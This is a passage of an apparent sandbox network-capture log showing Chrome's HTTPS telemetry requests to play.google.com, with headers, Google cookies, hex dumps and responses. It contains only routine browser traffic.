Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:21:26 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:26 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49777	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:26 UTC	991	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1863 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=r8Lq2ANzwuDflYRM6TeLgv9nC-9gIuccZxxfGlxlt1WpLJ7GfT7p0V9HZqluJ4fRnA0IqTIvqRVqf3Vdrbw_qwVJ5ZM8ihn0ugFsH0ifT4aUR2ixD7WkAQX-dgGIs9KQBp8sjt5C6w7DIHs2CeckMWikOvdmxkZYzDQD-hTooaOfLlqpgVvHY_0
2024-12-20 00:21:26 UTC	1863	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a ed 98 5b 6f 5b 37 0c c7 bf 8a e1 a7 15 30 52 49 14 29 09 c5 1e da 3d b4 c5 d6 0d c3 2e 2d e0 04 83 9b 4b eb c5 89 d3 2c 5d 2f 9f 7e 7f 52 94 e3 a4 41 d3 61 d8 86 61 45 d0 73 7e a5 44 91 12 29 4a c7 f3 79 9c 9d be 5e ad 3e f9 31 ff e4 8e f3 f9 f4 e1 7a fd 62 75 38 f9 ea e5 f9 fa e4 70 3a 9b c6 58 a6 7b b3 f9 f4 db f5 c5 bd fb 5f 3e 38 5f 9c 1e 40 5a 4d 66 9d 96 af 4f 46 b7 bd 59 98 4d 9f 2e 4f 0f d6 6f 7e 53 59 d8 c1 1f e0 6d 15 3c 7b 2f 88 b8 51 dd 89 94 74 8c 0c 15 fb db 83 76 ac 0d 3e 4c 63 a1 2c 9c 43 a5 18 a1 fe 71 9f a7 70 fa f2 7f 69 b6 51 0e d4 5a 08 e1 d3 67 ff ff 7d dc b8 44 57 16 f2 46 35 8b da 2c 8e dc b9 be f2 7b 3e ce 78 47 c8 e2 08 53 da db b6 4a 97 d6 08 da ff 42 d8 e6 31 57 a1 4b af ff 3b 8f f9 d6 d3 97 77 ac Data Ascii: [o[70RI)=.-K,]/~RAaaEs~D)Jy^>1zbu8p:X{_>8_@ZMfOFYM.Oo~SYm<{/Qtv>Lc,CqpiQZg}DWF5,{>xGSJB1WK;w
2024-12-20 00:21:26 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=iDG5G4Pd5sgV2NCMv2W4TnwkA5I9MDIVVG-YK72QF7WZ-eTVKTQCIYOslFyYHHk25DoejQnbGNbtZyyRRtYBCEXbP50e79_9l25uAyuUSxKOE02ZBp8vldcq1RC6BtzHpMxlzovkCpqNktv0uN3STXQINujPt0H8LYEuOHTSwp0_M9uqjBi2btTJBMgQ40A; expires=Sat, 21-Jun-2025 00:21:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:26 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:21:26 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:26 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49778	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:26 UTC	991	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 2805 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=r8Lq2ANzwuDflYRM6TeLgv9nC-9gIuccZxxfGlxlt1WpLJ7GfT7p0V9HZqluJ4fRnA0IqTIvqRVqf3Vdrbw_qwVJ5ZM8ihn0ugFsH0ifT4aUR2ixD7WkAQX-dgGIs9KQBp8sjt5C6w7DIHs2CeckMWikOvdmxkZYzDQD-hTooaOfLlqpgVvHY_0
2024-12-20 00:21:26 UTC	2805	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a ed 9c 6d 53 1b 39 12 c7 bf 0a e5 57 bb 55 0e 48 6a 3d 5e 6a 5f 24 a9 dd 24 95 b0 49 36 b9 4d f6 0c b5 35 60 1b 06 c6 1e 63 1b 03 fe f4 d7 dd 92 0c 43 92 cb 13 1b cc 4d 0a 33 f3 2b 8d 1e 5a d2 5f 2d c9 e3 99 5e 4f 76 c7 a7 55 f5 d9 87 de 67 47 ec f5 3a 8f eb fa a0 1a 6c 3c 3a 9c d6 a3 41 a7 db 91 d2 75 76 bb bd ce ef f5 fc fe 83 5f 1e 4e 8b 71 1f 43 3d 87 71 a4 f2 74 94 a3 ed 76 45 b7 f3 b6 1c f7 eb b3 19 85 89 4d fc 43 38 f7 16 8f 31 16 06 99 00 7e 53 82 a2 3c 34 26 e1 bf 5d 4c 2d 7d 40 1b 3a d2 81 b6 46 0b 0f 52 62 c2 ff 6d 73 07 8d 56 a9 41 4c f7 32 29 7d 84 f8 fc ba df cc a1 27 85 95 1a 0b de fd 7e 65 de 90 e5 bd 9d 8e b8 d0 a5 ae fb c2 9e 4e 95 0c e2 60 61 97 d5 50 0e 07 fb 17 23 23 6c 79 78 2a 6a b9 b7 3f ad f4 48 ca d2 Data Ascii: mS9WUHj=^j_$$I6M5`cCM3+Z_-^OvUgG:l<:Auv_NqC=qtvEMC81~S<4&]L-}@:FRbmsVAL2)}'~eN`aP##lyx*j?H
2024-12-20 00:21:26 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=CoJHxHY775dVVkRiHnJCVdwtyT34gZ7NdGuOjiUG7mmSq9Q3Rowxp6PbbUGc_vBDA73_43dcIrDNroDrbYi_Q7LhyCRvb4MhAWZ3gmhmurv0f_t_sZveBf0ZNW22FWnzNo1S19q4y4a5faAwI2PJ4a4zoGMx6Q47tRpTqTwlqCQJeZ4w4v-rwKM5IuZuU_U; expires=Sat, 21-Jun-2025 00:21:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:26 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:21:26 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:26 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49785	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:26 UTC	991	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1747 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/binary Content-Encoding: gzip sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=r8Lq2ANzwuDflYRM6TeLgv9nC-9gIuccZxxfGlxlt1WpLJ7GfT7p0V9HZqluJ4fRnA0IqTIvqRVqf3Vdrbw_qwVJ5ZM8ihn0ugFsH0ifT4aUR2ixD7WkAQX-dgGIs9KQBp8sjt5C6w7DIHs2CeckMWikOvdmxkZYzDQD-hTooaOfLlqpgVvHY_0
2024-12-20 00:21:26 UTC	1747	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a e5 98 61 6f 9c b7 0d c7 bf ca e1 5e b5 c0 03 47 12 45 4a 44 b0 17 69 5f a4 41 97 0e 43 bb a5 c0 d9 18 1c fb 9c dc 72 f1 25 5e bc 26 f9 f4 fb 93 a2 ce 89 3b 20 19 86 bd 1a 0e be e7 77 14 45 51 22 45 e9 f1 66 93 97 eb db fd fe ab bf 36 5f ad b8 d9 ac 1f 1f 0e 2f f6 db d5 f7 2f 6f 0e af b7 eb 65 9d 73 5b 9f 2d 9b f5 4f 87 77 0f 1f fd e1 bb 9b f3 eb 4b 48 bb cb 5c 69 77 fb 7a aa 9d 2d 69 59 3f db 5d 5f 1e 7e fb 87 c9 d2 09 3e 80 f7 5d f0 3d b4 20 62 a5 7e 92 a9 98 8d 8a 2e fe 39 43 ef dc 15 3e ac 73 a3 2a 5c 53 a7 9a 68 fd 05 9f d7 70 fa ee 57 5b ee 3a a7 ce 29 a5 af 9f fd ff ef d7 66 73 ba 4e 1f ea ae 1e 2e 93 dc de 94 ac e9 c5 3f e5 e3 fe 2a 5f 6d 2f 3e bc e6 24 bb 97 b7 e9 90 9f 5f dc ec eb eb 9c 77 4d ca 4d 7a 77 38 7f fb fe Data Ascii: ao^GEJDi_ACr%^&; wEQ"Ef6_//oes[-OwKH\iwz-iY?]_~>]= b~.9C>s\ShpW[:)fsN.?_m/>$_wMMzw8
2024-12-20 00:21:27 UTC	942	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY; expires=Sat, 21-Jun-2025 00:21:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:26 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Fri, 20 Dec 2024 00:21:26 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:27 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49790	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:28 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=bib_bWMnK1YxI6DFE_yEeVKihjO0YgES48Ca8eFgs-D-5N3Pses3et8W20y90NGGawdNxO8Nk7tdFlttvcN8sBKIKjDAYyyxiMH8z7uDycO0eWEStG5jWvblBrKNagBk2b0U7TRK-SM-aB0OPdGNKGXMzPNdMb89QKVak_lPbErfbmkhnolM0o2L4tbiZac
2024-12-20 00:21:29 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:29 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:29 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:21:29 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49802	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:31 UTC	1003	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 911 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ft3_auKYdOmwtta67v9Ln1tCJLnBLXSR_kBjLSyysgp_j0uX1GSIzCUHdtri4jwe5AHuoum3fh908mhF7j3D2oigQ4bbygoILw8PY5GLVgfNyPJz-QB5WQepBASh8Px_cGj_E96CBVqjkbWN8DeK5Lr1JQ581uxFm5e5Kh-ucCQ7AzdfcB8FpFllqrfESbY
2024-12-20 00:21:31 UTC	911	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 34 36 35 34 30 38 37 31 39 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1734654087194",null,null,null,
2024-12-20 00:21:31 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:21:31 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:21:31 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:21:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49801	142.250.181.110	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:31 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=hUX5GaA56DlGtp2jF5SjiewhFRLLcyhc9MR-ez7koqlYe7LwF26mU4ldhynhKAIImPwwICfUVHjnqp20yORDAEDwEZr8pVoCjsa-v_s6XIzKTEgIhLVrjS5BHRa_HZLme7W91CxB5H5p2TQQhxPnsokV3W4yT0UbqZOUlmwhQxIQC7LhCtIWuSBqCrEMu2E
2024-12-20 00:21:31 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:21:31 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:21:31 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
